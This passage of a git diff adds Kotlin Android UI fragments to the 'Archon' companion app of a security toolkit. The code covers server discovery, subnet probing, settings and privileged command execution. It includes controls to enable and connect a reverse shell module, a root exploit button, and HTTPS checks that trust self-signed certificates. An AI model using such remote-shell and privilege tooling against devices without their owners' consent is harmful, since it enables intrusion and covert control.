PrivilegeManager.init(ctx, PrefsManager.getServerIp(ctx), PrefsManager.getWebPort(ctx)) + + Thread { + val method = PrivilegeManager.getAvailableMethod() + handler.post { + val hasPrivilege = method != PrivilegeManager.Method.NONE + setStatusDot(privilegeStatusDot, hasPrivilege) + privilegeStatusText.text = "Privilege: ${method.label}" + appendLog("Privilege: ${method.label}") + refreshServerStatus() + } + }.start() + + // Auto-discover server on launch + startDiscovery() + } + + private fun refreshServerStatus() { + Thread { + val serverIp = PrefsManager.getServerIp(requireContext()) + val webPort = PrefsManager.getWebPort(requireContext()) + + // Check WireGuard tunnel + val wgResult = ShellExecutor.execute("ip addr show wg0 2>/dev/null") + val wgUp = wgResult.exitCode == 0 && wgResult.stdout.contains("inet ") + + // Check if AUTARCH server is reachable + val serverReachable = if (serverIp.isNotEmpty()) { + probeServer(serverIp, webPort) + } else { + false + } + + handler.post { + // WireGuard + setStatusDot(wgStatusDot, wgUp) + wgStatusText.text = if (wgUp) "WireGuard: connected" else "WireGuard: not active" + + // Server + if (serverIp.isEmpty()) { + setStatusDot(serverStatusDot, false) + serverStatusText.text = "Server: not configured — tap SCAN or set in Settings" + } else if (serverReachable) { + setStatusDot(serverStatusDot, true) + serverStatusText.text = "Server: $serverIp:$webPort (connected)" + } else { + setStatusDot(serverStatusDot, false) + serverStatusText.text = "Server: $serverIp:$webPort (unreachable)" + } + } + }.start() + } + + private fun probeServer(ip: String, port: Int): Boolean { + return try { + val url = URL("https://$ip:$port/") + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 3000 + conn.readTimeout = 3000 + conn.requestMethod = "GET" + conn.instanceFollowRedirects = true + val code = conn.responseCode + conn.disconnect() + code in 200..399 + } catch (e: Exception) { + false + } + } + + private fun setStatusDot(dot: View, online: Boolean) { + val drawable = GradientDrawable() + drawable.shape = GradientDrawable.OVAL + drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666")) + dot.background = drawable + } + + private fun appendLog(msg: String) { + val current = outputLog.text.toString() + val lines = current.split("\n").takeLast(20) + outputLog.text = (lines + "> $msg").joinToString("\n") + } + + // ── Discovery ──────────────────────────────────────────────── + + private fun setupDiscovery() { + discoveryManager = DiscoveryManager(requireContext()) + discoveryManager?.listener = object : DiscoveryManager.Listener { + override fun onServerFound(server: DiscoveryManager.DiscoveredServer) { + val method = when (server.method) { + DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)" + DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct" + DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth" + } + setStatusDot(discoveryStatusDot, true) + discoveryStatusText.text = "Found: ${server.hostname}" + discoveryMethodText.text = "via $method" + appendLog("Discovered AUTARCH via $method") + + if (server.ip.isNotEmpty() && server.port > 0) { + PrefsManager.setServerIp(requireContext(), server.ip) + PrefsManager.setWebPort(requireContext(), server.port) + appendLog("Auto-configured: ${server.ip}:${server.port}") + // Update PrivilegeManager with new server info + PrivilegeManager.setServerConnection(server.ip, server.port) + refreshServerStatus() + } + } + + override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) { + appendLog("Scanning: ${method.name}...") + } + + override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) { + if (discoveryManager?.getDiscoveredServers()?.isEmpty() == true) { + appendLog("No mDNS/BT response — trying HTTP probe...") + probeLocalSubnet() + } + btnDiscover.isEnabled = true + btnDiscover.text = "SCAN" + } + + override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) { + appendLog("${method.name}: $error") + } + } + + btnDiscover.setOnClickListener { + startDiscovery() + } + } + + private fun startDiscovery() { + setStatusDot(discoveryStatusDot, false) + discoveryStatusText.text = "Scanning network..." + discoveryMethodText.text = "mDNS / Wi-Fi Direct / Bluetooth / HTTP" + btnDiscover.isEnabled = false + btnDiscover.text = "SCANNING..." + discoveryManager?.startDiscovery() + } + + private fun probeLocalSubnet() { + Thread { + val port = PrefsManager.getWebPort(requireContext()) + + val routeResult = ShellExecutor.execute("ip route show default 2>/dev/null") + val gateway = routeResult.stdout.split(" ").let { parts -> + val idx = parts.indexOf("via") + if (idx >= 0 && idx + 1 < parts.size) parts[idx + 1] else null + } + + if (gateway == null) { + handler.post { + discoveryStatusText.text = "No AUTARCH server found" + discoveryMethodText.text = "Set server IP in Settings tab" + } + return@Thread + } + + val base = gateway.substringBeforeLast(".") + "." + appendLogOnUi("Probing ${base}x on port $port...") + + val candidates = mutableListOf() + candidates.add(gateway) + for (i in 1..30) { + val ip = "$base$i" + if (ip != gateway) candidates.add(ip) + } + candidates.addAll(listOf("${base}100", "${base}200", "${base}254")) + + val savedIp = PrefsManager.getServerIp(requireContext()) + if (savedIp.isNotEmpty() && !savedIp.startsWith("10.1.0.")) { + candidates.add(0, savedIp) + } + + for (ip in candidates) { + if (probeServer(ip, port)) { + handler.post { + PrefsManager.setServerIp(requireContext(), ip) + setStatusDot(discoveryStatusDot, true) + discoveryStatusText.text = "Found: AUTARCH" + discoveryMethodText.text = "via HTTP probe ($ip)" + appendLog("Found AUTARCH at $ip:$port (HTTP)") + PrivilegeManager.setServerConnection(ip, port) + refreshServerStatus() + } + return@Thread + } + } + + handler.post { + discoveryStatusText.text = "No AUTARCH server found" + discoveryMethodText.text = "Set server IP in Settings tab" + appendLog("HTTP probe: no server found on $base* :$port") + } + }.start() + } + + private fun appendLogOnUi(msg: String) { + handler.post { appendLog(msg) } + } + + override fun onDestroyView() { + super.onDestroyView() + discoveryManager?.stopDiscovery() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/LinksFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/LinksFragment.kt new file mode 100644 index 0000000..04af047 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/LinksFragment.kt @@ -0,0 +1,61 @@ +package com.darkhal.archon.ui + +import android.content.Intent +import android.net.Uri +import android.os.Bundle +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.util.PrefsManager + +class LinksFragment : Fragment() { + + private data class LinkItem( + val cardId: Int, + val path: String + ) + + private val links = listOf( + LinkItem(R.id.card_dashboard, "/dashboard"), + LinkItem(R.id.card_wireguard, "/wireguard"), + LinkItem(R.id.card_shield, "/android-protect"), + LinkItem(R.id.card_hardware, "/hardware"), + LinkItem(R.id.card_wireshark, "/wireshark"), + LinkItem(R.id.card_osint, "/osint"), + LinkItem(R.id.card_defense, "/defense"), + LinkItem(R.id.card_offense, "/offense"), + LinkItem(R.id.card_settings, "/settings") + ) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_links, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + val baseUrl = PrefsManager.getAutarchBaseUrl(requireContext()) + + // Update server URL label + view.findViewById(R.id.server_url_label).text = "Server: $baseUrl" + + // Set up click listeners for all link cards + for (link in links) { + view.findViewById(link.cardId)?.setOnClickListener { + openUrl("$baseUrl${link.path}") + } + } + } + + private fun openUrl(url: String) { + val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url)) + startActivity(intent) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ModulesFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ModulesFragment.kt new file mode 100644 index 0000000..0b751d4 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ModulesFragment.kt @@ -0,0 +1,306 @@ +package com.darkhal.archon.ui + +import android.content.Context +import android.graphics.Color +import android.graphics.drawable.GradientDrawable +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.appcompat.app.AlertDialog +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.module.ModuleManager +import com.darkhal.archon.module.ReverseShellModule +import com.darkhal.archon.server.ArchonClient +import com.darkhal.archon.util.PrivilegeManager +import com.google.android.material.button.MaterialButton +import com.google.android.material.textfield.TextInputEditText + +class ModulesFragment : Fragment() { + + private lateinit var serverStatusDot: View + private lateinit var serverStatusText: TextView + private lateinit var archonStatusDot: View + private lateinit var archonInfoText: TextView + private lateinit var archonUidText: TextView + private lateinit var inputArchonCmd: TextInputEditText + private lateinit var shieldStatusDot: View + private lateinit var shieldStatusText: TextView + private lateinit var honeypotStatusDot: View + private lateinit var honeypotStatusText: TextView + private lateinit var revshellStatusDot: View + private lateinit var revshellStatusText: TextView + private lateinit var outputLog: TextView + + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_modules, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + // Bind views + serverStatusDot = view.findViewById(R.id.server_status_dot) + serverStatusText = view.findViewById(R.id.server_status_text) + archonStatusDot = view.findViewById(R.id.archon_status_dot) + archonInfoText = view.findViewById(R.id.archon_info_text) + archonUidText = view.findViewById(R.id.archon_uid_text) + inputArchonCmd = view.findViewById(R.id.input_archon_cmd) + shieldStatusDot = view.findViewById(R.id.shield_status_dot) + shieldStatusText = view.findViewById(R.id.shield_status_text) + honeypotStatusDot = view.findViewById(R.id.honeypot_status_dot) + honeypotStatusText = view.findViewById(R.id.honeypot_status_text) + revshellStatusDot = view.findViewById(R.id.revshell_status_dot) + revshellStatusText = view.findViewById(R.id.revshell_status_text) + outputLog = view.findViewById(R.id.modules_output_log) + + // Archon Server buttons + view.findViewById(R.id.btn_archon_run).setOnClickListener { + val cmd = inputArchonCmd.text?.toString()?.trim() ?: "" + if (cmd.isEmpty()) { + appendLog("Enter a command to run") + return@setOnClickListener + } + runArchonCommand(cmd) + } + + view.findViewById(R.id.btn_archon_info).setOnClickListener { + appendLog("Querying server info...") + Thread { + val info = ArchonClient.getServerInfo(requireContext()) + handler.post { + if (info != null) { + appendLog("Archon: $info") + archonInfoText.text = "Info: $info" + } else { + appendLog("Archon Server not running") + archonInfoText.text = "Status: not running" + } + } + }.start() + } + + view.findViewById(R.id.btn_archon_ping).setOnClickListener { + Thread { + val running = ArchonClient.isServerRunning(requireContext()) + handler.post { + setStatusDot(archonStatusDot, running) + appendLog(if (running) "Archon: pong" else "Archon: no response") + } + }.start() + } + + view.findViewById(R.id.btn_archon_packages).setOnClickListener { + runArchonCommand("pm list packages -3") + } + + // Shield buttons + view.findViewById(R.id.btn_shield_full_scan).setOnClickListener { + runModuleAction("shield", "full_scan", "Full Scan") + } + view.findViewById(R.id.btn_shield_scan_packages).setOnClickListener { + runModuleAction("shield", "scan_packages", "Package Scan") + } + view.findViewById(R.id.btn_shield_scan_admins).setOnClickListener { + runModuleAction("shield", "scan_device_admins", "Device Admin Scan") + } + view.findViewById(R.id.btn_shield_scan_certs).setOnClickListener { + runModuleAction("shield", "scan_certificates", "Certificate Scan") + } + view.findViewById(R.id.btn_shield_scan_network).setOnClickListener { + runModuleAction("shield", "scan_network", "Network Scan") + } + + // Honeypot buttons + view.findViewById(R.id.btn_honeypot_harden).setOnClickListener { + runModuleAction("honeypot", "harden_all", "Harden All") + } + view.findViewById(R.id.btn_honeypot_reset_ad).setOnClickListener { + runModuleAction("honeypot", "reset_ad_id", "Reset Ad ID") + } + view.findViewById(R.id.btn_honeypot_dns).setOnClickListener { + runModuleAction("honeypot", "set_private_dns", "Private DNS") + } + view.findViewById(R.id.btn_honeypot_restrict).setOnClickListener { + runModuleAction("honeypot", "restrict_trackers", "Restrict Trackers") + } + view.findViewById(R.id.btn_honeypot_revoke).setOnClickListener { + runModuleAction("honeypot", "revoke_tracker_perms", "Revoke Tracker Perms") + } + + // Reverse Shell buttons + view.findViewById(R.id.btn_revshell_enable).setOnClickListener { + showRevshellWarnings(0) + } + view.findViewById(R.id.btn_revshell_disable).setOnClickListener { + runModuleAction("revshell", "disable", "Disable") + } + view.findViewById(R.id.btn_revshell_connect).setOnClickListener { + runModuleAction("revshell", "connect", "Connect") + } + view.findViewById(R.id.btn_revshell_disconnect).setOnClickListener { + runModuleAction("revshell", "disconnect", "Disconnect") + } + view.findViewById(R.id.btn_revshell_status).setOnClickListener { + runModuleAction("revshell", "status", "Status") + } + + // Initialize status + refreshStatus() + } + + private fun refreshStatus() { + Thread { + val method = PrivilegeManager.getAvailableMethod() + val archonRunning = ArchonClient.isServerRunning(requireContext()) + val serverInfo = if (archonRunning) { + ArchonClient.getServerInfo(requireContext()) ?: "running" + } else { + null + } + + val shieldStatus = ModuleManager.get("shield")?.getStatus(requireContext()) + val honeypotStatus = ModuleManager.get("honeypot")?.getStatus(requireContext()) + val revshellStatus = ModuleManager.get("revshell")?.getStatus(requireContext()) + + handler.post { + // Server status + val serverActive = method != PrivilegeManager.Method.NONE + setStatusDot(serverStatusDot, serverActive) + serverStatusText.text = when (method) { + PrivilegeManager.Method.ROOT -> "Privilege: Root (su)" + PrivilegeManager.Method.ARCHON_SERVER -> "Privilege: Archon Server" + PrivilegeManager.Method.LOCAL_ADB -> "Privilege: Wireless ADB" + PrivilegeManager.Method.SERVER_ADB -> "Privilege: AUTARCH Remote" + PrivilegeManager.Method.NONE -> "Privilege: none — run Setup first" + } + + // Archon Server status + setStatusDot(archonStatusDot, archonRunning) + archonInfoText.text = if (archonRunning) { + "Status: Running ($serverInfo)" + } else { + "Status: Not running — start in Setup tab" + } + + // Module status + setStatusDot(shieldStatusDot, shieldStatus?.active == true) + shieldStatusText.text = "Last: ${shieldStatus?.summary ?: "no scan run"}" + + setStatusDot(honeypotStatusDot, honeypotStatus?.active == true) + honeypotStatusText.text = "Status: ${honeypotStatus?.summary ?: "idle"}" + + setStatusDot(revshellStatusDot, revshellStatus?.active == true) + revshellStatusText.text = "Status: ${revshellStatus?.summary ?: "Disabled"}" + + appendLog("Privilege: ${method.label}") + if (archonRunning) appendLog("Archon Server: active") + } + }.start() + } + + private fun runArchonCommand(command: String) { + appendLog("$ $command") + + Thread { + val method = PrivilegeManager.getAvailableMethod() + if (method == PrivilegeManager.Method.NONE) { + handler.post { appendLog("Error: No privilege method — run Setup first") } + return@Thread + } + + val result = PrivilegeManager.execute(command) + handler.post { + if (result.stdout.isNotEmpty()) { + // Show up to 30 lines + val lines = result.stdout.split("\n").take(30) + for (line in lines) { + appendLog(line) + } + if (result.stdout.split("\n").size > 30) { + appendLog("... (${result.stdout.split("\n").size - 30} more lines)") + } + } + if (result.stderr.isNotEmpty()) { + appendLog("ERR: ${result.stderr}") + } + if (result.exitCode != 0) { + appendLog("exit: ${result.exitCode}") + } + } + }.start() + } + + private fun runModuleAction(moduleId: String, actionId: String, label: String) { + appendLog("Running: $label...") + + Thread { + val result = ModuleManager.executeAction(moduleId, actionId, requireContext()) + + handler.post { + appendLog("$label: ${result.output}") + for (detail in result.details.take(20)) { + appendLog(" $detail") + } + + // Update module status after action + when (moduleId) { + "shield" -> shieldStatusText.text = "Last: ${result.output}" + "honeypot" -> honeypotStatusText.text = "Status: ${result.output}" + "revshell" -> revshellStatusText.text = "Status: ${result.output}" + } + } + }.start() + } + + private fun setStatusDot(dot: View, online: Boolean) { + val drawable = GradientDrawable() + drawable.shape = GradientDrawable.OVAL + drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666")) + dot.background = drawable + } + + private fun appendLog(msg: String) { + val current = outputLog.text.toString() + val lines = current.split("\n").takeLast(30) + outputLog.text = (lines + "> $msg").joinToString("\n") + } + + /** + * Show reverse shell safety warnings one at a time. + * After all 3 are accepted, set the warning flag and run the enable action. + */ + private fun showRevshellWarnings(index: Int) { + val warnings = ReverseShellModule.WARNINGS + if (index >= warnings.size) { + // All warnings accepted — set the prefs flag and enable + val prefs = requireContext().getSharedPreferences("archon_revshell", Context.MODE_PRIVATE) + prefs.edit().putBoolean("revshell_warnings_accepted", true).apply() + appendLog("All warnings accepted") + runModuleAction("revshell", "enable", "Enable") + return + } + + AlertDialog.Builder(requireContext()) + .setTitle("Warning ${index + 1} of ${warnings.size}") + .setMessage(warnings[index]) + .setPositiveButton("I Understand") { _, _ -> + showRevshellWarnings(index + 1) + } + .setNegativeButton("Cancel") { _, _ -> + appendLog("Reverse shell enable cancelled at warning ${index + 1}") + } + .setCancelable(false) + .show() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SettingsFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SettingsFragment.kt new file mode 100644 index 0000000..5991048 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SettingsFragment.kt @@ -0,0 +1,231 @@ +package com.darkhal.archon.ui + +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import android.widget.Toast +import androidx.fragment.app.Fragment +import com.darkhal.archon.LoginActivity +import com.darkhal.archon.R +import com.darkhal.archon.service.DiscoveryManager +import com.darkhal.archon.util.AuthManager +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.SslHelper +import com.google.android.material.button.MaterialButton +import com.google.android.material.materialswitch.MaterialSwitch +import com.google.android.material.textfield.TextInputEditText + +class SettingsFragment : Fragment() { + + private lateinit var inputServerIp: TextInputEditText + private lateinit var inputWebPort: TextInputEditText + private lateinit var inputAdbPort: TextInputEditText + private lateinit var inputUsbipPort: TextInputEditText + private lateinit var switchAutoRestart: MaterialSwitch + private lateinit var statusText: TextView + + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_settings, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + inputServerIp = view.findViewById(R.id.input_server_ip) + inputWebPort = view.findViewById(R.id.input_web_port) + inputAdbPort = view.findViewById(R.id.input_adb_port) + inputUsbipPort = view.findViewById(R.id.input_usbip_port) + switchAutoRestart = view.findViewById(R.id.switch_settings_auto_restart) + statusText = view.findViewById(R.id.settings_status) + + loadSettings() + + view.findViewById(R.id.btn_save_settings).setOnClickListener { + saveSettings() + } + + view.findViewById(R.id.btn_auto_detect).setOnClickListener { + autoDetectServer(it as MaterialButton) + } + + view.findViewById(R.id.btn_test_connection).setOnClickListener { + testConnection() + } + + view.findViewById(R.id.btn_logout).setOnClickListener { + AuthManager.logout(requireContext()) + val intent = android.content.Intent(requireContext(), LoginActivity::class.java) + intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK + startActivity(intent) + } + } + + private fun loadSettings() { + val ctx = requireContext() + inputServerIp.setText(PrefsManager.getServerIp(ctx)) + inputWebPort.setText(PrefsManager.getWebPort(ctx).toString()) + inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString()) + inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString()) + switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(ctx) + } + + private fun saveSettings() { + val ctx = requireContext() + + val serverIp = inputServerIp.text.toString().trim() + val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181 + val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555 + val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240 + + if (serverIp.isEmpty()) { + statusText.text = "Error: Server IP cannot be empty" + return + } + + // Validate IP format (IPv4 or hostname) + if (!isValidIpOrHostname(serverIp)) { + statusText.text = "Error: Invalid IP address or hostname" + return + } + + // Validate port ranges + if (webPort < 1 || webPort > 65535) { + statusText.text = "Error: Web port must be 1-65535" + return + } + if (adbPort < 1 || adbPort > 65535) { + statusText.text = "Error: ADB port must be 1-65535" + return + } + + PrefsManager.setServerIp(ctx, serverIp) + PrefsManager.setWebPort(ctx, webPort) + PrefsManager.setAdbPort(ctx, adbPort) + PrefsManager.setUsbIpPort(ctx, usbipPort) + PrefsManager.setAutoRestartAdb(ctx, switchAutoRestart.isChecked) + + statusText.text = "Settings saved" + Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show() + } + + private fun isValidIpOrHostname(input: String): Boolean { + // IPv4 pattern + val ipv4 = Regex("""^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$""") + val match = ipv4.matchEntire(input) + if (match != null) { + return match.groupValues.drop(1).all { + val n = it.toIntOrNull() ?: return false + n in 0..255 + } + } + // Hostname pattern (alphanumeric, dots, hyphens) + val hostname = Regex("""^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$""") + return hostname.matches(input) + } + + private fun autoDetectServer(btn: MaterialButton) { + statusText.text = "Scanning for AUTARCH server..." + btn.isEnabled = false + btn.text = "SCANNING..." + + val discovery = DiscoveryManager(requireContext()) + discovery.listener = object : DiscoveryManager.Listener { + override fun onServerFound(server: DiscoveryManager.DiscoveredServer) { + discovery.stopDiscovery() + + val method = when (server.method) { + DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)" + DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct" + DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth" + } + + if (server.ip.isNotEmpty()) { + inputServerIp.setText(server.ip) + } + if (server.port > 0) { + inputWebPort.setText(server.port.toString()) + } + + statusText.text = "Found ${server.hostname} via $method\nIP: ${server.ip} Port: ${server.port}" + btn.isEnabled = true + btn.text = "AUTO-DETECT SERVER" + } + + override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {} + + override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) { + if (discovery.getDiscoveredServers().isEmpty()) { + handler.post { + statusText.text = "No AUTARCH server found on network.\nCheck that the server is running and on the same network." + btn.isEnabled = true + btn.text = "AUTO-DETECT SERVER" + } + } + } + + override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {} + } + discovery.startDiscovery() + } + + private fun testConnection() { + val serverIp = inputServerIp.text.toString().trim() + val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181 + + if (serverIp.isEmpty()) { + statusText.text = "Error: Enter a server IP first" + return + } + + if (!isValidIpOrHostname(serverIp)) { + statusText.text = "Error: Invalid IP address" + return + } + + statusText.text = "Testing connection to $serverIp..." + + Thread { + // Ping test + val pingResult = ShellExecutor.execute("ping -c 1 -W 3 $serverIp") + val pingOk = pingResult.exitCode == 0 + + // HTTPS test — probe root endpoint + val httpOk = try { + val url = java.net.URL("https://$serverIp:$webPort/") + val conn = url.openConnection() as java.net.HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 5000 + conn.requestMethod = "GET" + val code = conn.responseCode + conn.disconnect() + code in 200..399 + } catch (e: Exception) { + false + } + + handler.post { + val status = StringBuilder() + status.append("Ping: ${if (pingOk) "OK" else "FAILED"}\n") + status.append("HTTPS ($webPort): ${if (httpOk) "OK" else "FAILED"}") + if (!pingOk && !httpOk) { + status.append("\n\nServer unreachable. Check WireGuard tunnel and IP.") + } else if (pingOk && !httpOk) { + status.append("\n\nHost reachable but web UI not responding on port $webPort.") + } + statusText.text = status.toString() + } + }.start() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SetupFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SetupFragment.kt new file mode 100644 index 0000000..615f400 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SetupFragment.kt @@ -0,0 +1,293 @@ +package com.darkhal.archon.ui + +import android.Manifest +import android.content.ClipData +import android.content.ClipboardManager +import android.content.Context +import android.content.Intent +import android.content.pm.PackageManager +import android.graphics.Color +import android.graphics.drawable.GradientDrawable +import android.net.Uri +import android.os.Build +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import android.widget.Toast +import androidx.activity.result.contract.ActivityResultContracts +import androidx.core.content.ContextCompat +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.server.ArchonClient +import com.darkhal.archon.service.LocalAdbClient +import com.darkhal.archon.service.PairingReceiver +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.google.android.material.button.MaterialButton + +class SetupFragment : Fragment() { + + private lateinit var privilegeStatusDot: View + private lateinit var privilegeStatusText: TextView + private lateinit var btnStartPairing: MaterialButton + private lateinit var localAdbStatus: TextView + private lateinit var archonServerStatusDot: View + private lateinit var archonServerStatus: TextView + private lateinit var btnStartArchonServer: MaterialButton + private lateinit var btnStopArchonServer: MaterialButton + private lateinit var btnShowCommand: MaterialButton + private lateinit var serverAdbStatus: TextView + private lateinit var btnBootstrapUsb: MaterialButton + private lateinit var rootStatus: TextView + private lateinit var btnCheckRoot: MaterialButton + private lateinit var btnRootExploit: MaterialButton + private lateinit var outputLog: TextView + + private val handler = Handler(Looper.getMainLooper()) + + // Notification permission request (Android 13+) + private val notificationPermissionLauncher = registerForActivityResult( + ActivityResultContracts.RequestPermission() + ) { granted -> + if (granted) { + startPairingNotification() + } else { + appendLog("Notification permission denied — cannot show pairing notification") + appendLog("Grant notification permission in app settings") + } + } + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_setup, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + // Bind views + privilegeStatusDot = view.findViewById(R.id.privilege_status_dot) + privilegeStatusText = view.findViewById(R.id.privilege_status_text) + btnStartPairing = view.findViewById(R.id.btn_start_pairing) + localAdbStatus = view.findViewById(R.id.local_adb_status) + archonServerStatusDot = view.findViewById(R.id.archon_server_status_dot) + archonServerStatus = view.findViewById(R.id.archon_server_status) + btnStartArchonServer = view.findViewById(R.id.btn_start_archon_server) + btnStopArchonServer = view.findViewById(R.id.btn_stop_archon_server) + btnShowCommand = view.findViewById(R.id.btn_show_command) + serverAdbStatus = view.findViewById(R.id.server_adb_status) + btnBootstrapUsb = view.findViewById(R.id.btn_bootstrap_usb) + rootStatus = view.findViewById(R.id.root_status) + btnCheckRoot = view.findViewById(R.id.btn_check_root) + btnRootExploit = view.findViewById(R.id.btn_root_exploit) + outputLog = view.findViewById(R.id.setup_output_log) + + setupListeners() + initializeStatus() + } + + private fun setupListeners() { + // ── Wireless Debugging (Shizuku-style notification) ── + btnStartPairing.setOnClickListener { + // Check notification permission for Android 13+ + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + if (ContextCompat.checkSelfPermission( + requireContext(), Manifest.permission.POST_NOTIFICATIONS + ) != PackageManager.PERMISSION_GRANTED + ) { + notificationPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS) + return@setOnClickListener + } + } + startPairingNotification() + } + + // ── Archon Server ── + btnStartArchonServer.setOnClickListener { + btnStartArchonServer.isEnabled = false + appendLog("Starting Archon Server...") + + Thread { + val result = ArchonClient.startServer(requireContext()) + handler.post { + btnStartArchonServer.isEnabled = true + appendLog(result.message) + updateArchonServerStatus() + if (result.success) { + PrivilegeManager.refreshMethod() + updatePrivilegeStatus() + } + } + }.start() + } + + btnStopArchonServer.setOnClickListener { + appendLog("Stopping Archon Server...") + Thread { + val stopped = ArchonClient.stopServer(requireContext()) + handler.post { + appendLog(if (stopped) "Server stopped" else "Failed to stop server") + updateArchonServerStatus() + PrivilegeManager.refreshMethod() + updatePrivilegeStatus() + } + }.start() + } + + btnShowCommand.setOnClickListener { + val cmd = ArchonClient.getBootstrapCommand(requireContext()) + appendLog("ADB command to start Archon Server:") + appendLog("adb shell \"$cmd\"") + + // Copy to clipboard + val clipboard = requireContext().getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager + clipboard.setPrimaryClip(ClipData.newPlainText("Archon Bootstrap", "adb shell \"$cmd\"")) + Toast.makeText(requireContext(), "Command copied to clipboard", Toast.LENGTH_SHORT).show() + } + + // ── USB via AUTARCH ── + btnBootstrapUsb.setOnClickListener { + val serverIp = PrefsManager.getServerIp(requireContext()) + val serverPort = PrefsManager.getWebPort(requireContext()) + + if (serverIp.isEmpty()) { + appendLog("Server not configured — set IP in Settings tab or use SCAN on Dashboard") + return@setOnClickListener + } + + btnBootstrapUsb.isEnabled = false + appendLog("Bootstrapping via AUTARCH USB ADB ($serverIp:$serverPort)...") + + Thread { + val result = ArchonClient.startServer(requireContext()) + handler.post { + btnBootstrapUsb.isEnabled = true + appendLog(result.message) + if (result.success) { + updateArchonServerStatus() + PrivilegeManager.refreshMethod() + updatePrivilegeStatus() + } + } + }.start() + } + + // ── Root ── + btnCheckRoot.setOnClickListener { + appendLog("Checking root access...") + Thread { + val hasRoot = ShellExecutor.isRootAvailable() + handler.post { + rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted" + appendLog(if (hasRoot) "Root access available" else "Device is not rooted") + if (hasRoot) { + PrivilegeManager.refreshMethod() + updatePrivilegeStatus() + } + } + }.start() + } + + 